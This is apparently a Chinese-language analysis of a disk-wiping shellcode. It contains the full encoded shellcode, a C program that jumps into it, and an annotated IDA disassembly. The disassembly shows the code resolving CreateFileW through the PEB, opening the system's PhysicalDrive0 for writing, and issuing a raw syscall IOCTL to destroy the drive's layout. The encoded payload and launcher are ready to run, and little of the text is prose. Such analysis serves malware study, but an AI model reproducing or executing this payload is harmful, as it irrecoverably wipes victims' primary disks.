一段格盘的shellcode分析

char g_szFromShellCode[] = 
"PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0"
"BBABXP8ABuJIrulKzLMQJLopwp5PuP8GW5k03sqb"
"CUCQHGReOtRTPeQVayXGpEOx0lsUv7uPlMSuoppP"
"RpV5NkhlK3JLwxLKQU5XPSrvrwLKDHLKPPS4xGpEK"
"LUPuPgpS0ni0MkHMYRuc8sTMqP030uPUPLK704LlK"
"2PeLNMLKCpUXlKKHNkG7elnkpTUWRXgszwLKPJuHL"
"KaJq0VcyOriNk4tLKwsl7lKCuzXEi5VqeKCnkaUfh"
"09PFVdpuZKLKpZEts3KoqvLKDLBkNkRzgluSYOLKu"
"TlKGsYWoycuKLlKqUKLaOQNSknkkUQMLIQUx48Gg5"
"nlQLWpslWpHGw5Np4nuPqLuPKwSulTF0UP1xePjg3"
"umHpyGpcC7po7SuolayUPSSwpO7QUoPSQWpBLWpO7"
"3uOT1Ts0Pr30KwSuOXcYWpcFuPO7reNL3UeP4pwpK"
"wcuNPWpwpePePsZgpCZWpPjs3pjePazdC1x5Pc07p"
"KpLMCuLLPPlKcuODKOXPLKZxNmRmmhLMrunXp3O0v"
"0RpBpPPrHePKqEWuPPQbrpPv0QCh8aRGpWpc0nm2t"
"a4ZXVoudWp";

int main(int argc, char* argv[])
{
    _asm
    {
        lea eax, g_szFromShellCode
        call eax
    }
        return 0;
}

.data:00406030                   pfnShellCode proc near                  ; DATA XREF: _maino
.data:00406030
.data:00406030                   szCreateFileW= byte ptr -80h
.data:00406030                   szPhysicalDrive0= byte ptr -74h
.data:00406030                   pCreateFileW= dword ptr -4Ch
.data:00406030                   var_48= byte ptr -48h
.data:00406030                   szCrea= dword ptr -8
.data:00406030                   pROCESSOR_ARCHITECTURE= dword ptr -4
.data:00406030                   szTeFi= dword ptr  8
.data:00406030
.data:00406030 55                      push    ebp
.data:00406031 8B EC                   mov     ebp, esp
.data:00406033 81 EC 80 00 00 00       sub     esp, 80h
.data:00406039 C7 45 80 43 72 65+      mov     dword ptr [ebp+szCreateFileW], ‘aerC‘ ; CreateFileW
.data:00406040 C7 45 84 74 65 46+      mov     dword ptr [ebp+szCreateFileW+4], ‘iFet‘
.data:00406047 C7 45 88 6C 65 57+      mov     dword ptr [ebp+szCreateFileW+8], ‘Wel‘
.data:0040604E 8D 45 80                lea     eax, [ebp+szCreateFileW]
.data:00406051 50                      push    eax
.data:00406052 50                      push    eax
.data:00406053 55                      push    ebp
.data:00406054 8B EC                   mov     ebp, esp
.data:00406056 83 EC 08                sub     esp, 8
.data:00406059 8B 45 08                mov     eax, [ebp+szTeFi]
.data:0040605C 53                      push    ebx
.data:0040605D 56                      push    esi
.data:0040605E 57                      push    edi
.data:0040605F 8B 08                   mov     ecx, [eax]
.data:00406061 8B 50 04                mov     edx, [eax+4]              ;
.data:00406061                                                           ; ;Save String"CreateFi"
.data:00406064 C7 45 FC 00 00 00+      mov     [ebp+pROCESSOR_ARCHITECTURE], 0
.data:0040606B 89 4D F8                mov     [ebp+szCrea], ecx
.data:0040606E 89 55 08                mov     [ebp+szTeFi], edx
.data:00406071 64 A1 30 00 00 00       mov     eax, large fs:30h         ; Get _peb
.data:00406077 8B 40 0C                mov     eax, [eax+0Ch]            ; Get Ldr_PEB_LDR_DATA
.data:0040607A 8B 70 1C                mov     esi, [eax+1Ch]            ; Get InLoadOrderModuleList(First -> NtDll LoadInfoList)
.data:0040607D AD                      lodsd                             ; LoadInfoList++ : Second -> kernel32 LoadInfoList
.data:0040607D                                                           ;
.data:0040607D                                                           ; GetDllInfo
.data:0040607D                                                           ; ;
.data:0040607E 8B 40 08                mov     eax, [eax+8]              ; Get Kernel32_ImageBase
.data:00406081 8B F8                   mov     edi, eax
.data:00406083 8B 47 3C                mov     eax, [edi+3Ch]            ; Get _IMAGE_DOS_HEADER.e_lfanew
.data:00406086 8B 54 07 78             mov     edx, [edi+eax+78h]        ; Get Export Table offset
.data:0040608A 03 D7                   add     edx, edi                  ; Export Table address
.data:0040608C 8B 4A 18                mov     ecx, [edx+18h]            ; Get ExportDirectory->NumberOfFunctions
.data:0040608F 8B 5A 20                mov     ebx, [edx+20h]            ; Get ExportDirectory->AddressOfFunctions
.data:0040608F                                                           ; ;
.data:00406092 03 DF                   add     ebx, edi
.data:00406094
.data:00406094                   GetExportFunName_Begin:                 ; CODE XREF: pfnShellCode+6Fj
.data:00406094                                                           ; pfnShellCode+77j
.data:00406094 49                      dec     ecx                       ; NumberOfFunctions--
.data:00406095 8B 34 8B                mov     esi, [ebx+ecx*4]
.data:00406098 03 F7                   add     esi, edi                  ; Get Kernel32 ExportFunName
.data:0040609A 8B 45 F8                mov     eax, [ebp+szCrea]
.data:0040609D 39 06                   cmp     [esi], eax
.data:0040609F 75 F3                   jnz     short GetExportFunName_Begin ; NumberOfFunctions--
.data:004060A1 8B 45 08                mov     eax, [ebp+szTeFi]
.data:004060A4 39 46 04                cmp     [esi+4], eax
.data:004060A7 75 EB                   jnz     short GetExportFunName_Begin ;
.data:004060A7                                                           ; ;GetExportFunName_End
.data:004060A9 8B 5A 24                mov     ebx, [edx+24h]            ; 获取环境变量ROCESSOR_ARCHITECTURE
.data:004060AC 03 DF                   add     ebx, edi
.data:004060AE 66 8B 0C 4B             mov     cx, [ebx+ecx*2]
.data:004060B2 8B 5A 1C                mov     ebx, [edx+1Ch]
.data:004060B5 03 DF                   add     ebx, edi
.data:004060B7 8B 04 8B                mov     eax, [ebx+ecx*4]
.data:004060BA 03 C7                   add     eax, edi
.data:004060BC 89 45 FC                mov     [ebp+pROCESSOR_ARCHITECTURE], eax
.data:004060BF 8B 45 FC                mov     eax, [ebp+pROCESSOR_ARCHITECTURE]
.data:004060C2 5F                      pop     edi
.data:004060C3 5E                      pop     esi
.data:004060C4 5B                      pop     ebx
.data:004060C5 8B E5                   mov     esp, ebp
.data:004060C7 5D                      pop     ebp
.data:004060C8 89 45 B4                mov     [ebp+pCreateFileW], eax
.data:004060CB C7 45 8C 5C 00 5C+      mov     dword ptr [ebp+szPhysicalDrive0], 5C005Ch ; 获得"\\.\PhysicalDrive0\"(即本机器的物理驱动器0->主硬盘)
.data:004060D2 C7 45 90 2E 00 5C+      mov     dword ptr [ebp+szPhysicalDrive0+4], 5C002Eh
.data:004060D9 C7 45 94 50 00 68+      mov     dword ptr [ebp+szPhysicalDrive0+8], 680050h
.data:004060E0 C7 45 98 79 00 73+      mov     dword ptr [ebp+szPhysicalDrive0+0Ch], 730079h
.data:004060E7 C7 45 9C 69 00 63+      mov     dword ptr [ebp+szPhysicalDrive0+10h], 630069h
.data:004060EE C7 45 A0 61 00 6C+      mov     dword ptr [ebp+szPhysicalDrive0+14h], 6C0061h
.data:004060F5 C7 45 A4 44 00 72+      mov     dword ptr [ebp+szPhysicalDrive0+18h], 720044h
.data:004060FC C7 45 A8 69 00 76+      mov     dword ptr [ebp+szPhysicalDrive0+1Ch], 760069h
.data:00406103 C7 45 AC 65 00 30+      mov     dword ptr [ebp+szPhysicalDrive0+20h], 300065h
.data:0040610A C7 45 B0 00 00 00+      mov     dword ptr [ebp+szPhysicalDrive0+24h], 0 ;
.data:0040610A 00                                                        ; CreateFileW(szPhysicalDrive0, GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, NULL, NULL);
.data:00406111 6A 00                   push    0                         ; push NULL
.data:00406113 6A 00                   push    0                         ; push NULL
.data:00406115 6A 03                   push    3                         ; push OPEN_EXISTING
.data:00406117 6A 00                   push    0                         ; push NULL
.data:00406119 6A 03                   push    3                         ; push FILE_SHARE_READ | FILE_SHARE_WRITE
.data:0040611B 68 00 00 00 C0          push    0C0000000h                ; push GENERIC_READ|GENERIC_WRITE
.data:00406120 8D 45 8C                lea     eax, [ebp+szPhysicalDrive0]
.data:00406123 50                      push    eax                       ; push szPhysicalDrive0
.data:00406124 8B 45 B4                mov     eax, [ebp+pCreateFileW]
.data:00406127 FF D0                   call    eax                       ; call CreateFIleW
.data:00406129 8B D8                   mov     ebx, eax                  ; save hFile
.data:00406129                                                           ; ;
.data:0040612B 8D 4D B8                lea     ecx, [ebp+var_48]
.data:0040612E 8D 55 B8                lea     edx, [ebp+var_48]
.data:00406131 33 C0                   xor     eax, eax
.data:00406133 50                      push    eax                       ; push NULL
.data:00406134 50                      push    eax                       ; push NULL
.data:00406135 50                      push    eax                       ; push NULL
.data:00406136 50                      push    eax                       ; push NULL
.data:00406137 68 00 C1 07 00          push    7C100h
.data:0040613C 51                      push    ecx                       ; push pUnkonw
.data:0040613D 52                      push    edx                       ; push pUnkonw
.data:0040613E 50                      push    eax                       ; push NULL
.data:0040613F 50                      push    eax                       ; push NULL
.data:00406140 53                      push    ebx                       ; push hFile
.data:00406141 B8 42 00 00 00          mov     eax, 42h
.data:00406146 8D 54 24 F8             lea     edx, [esp+54h+szPhysicalDrive0+18h] ; lea (&((DWORD)szPhysicalDrive0 - 4))
.data:0040614A 0F 34                   sysenter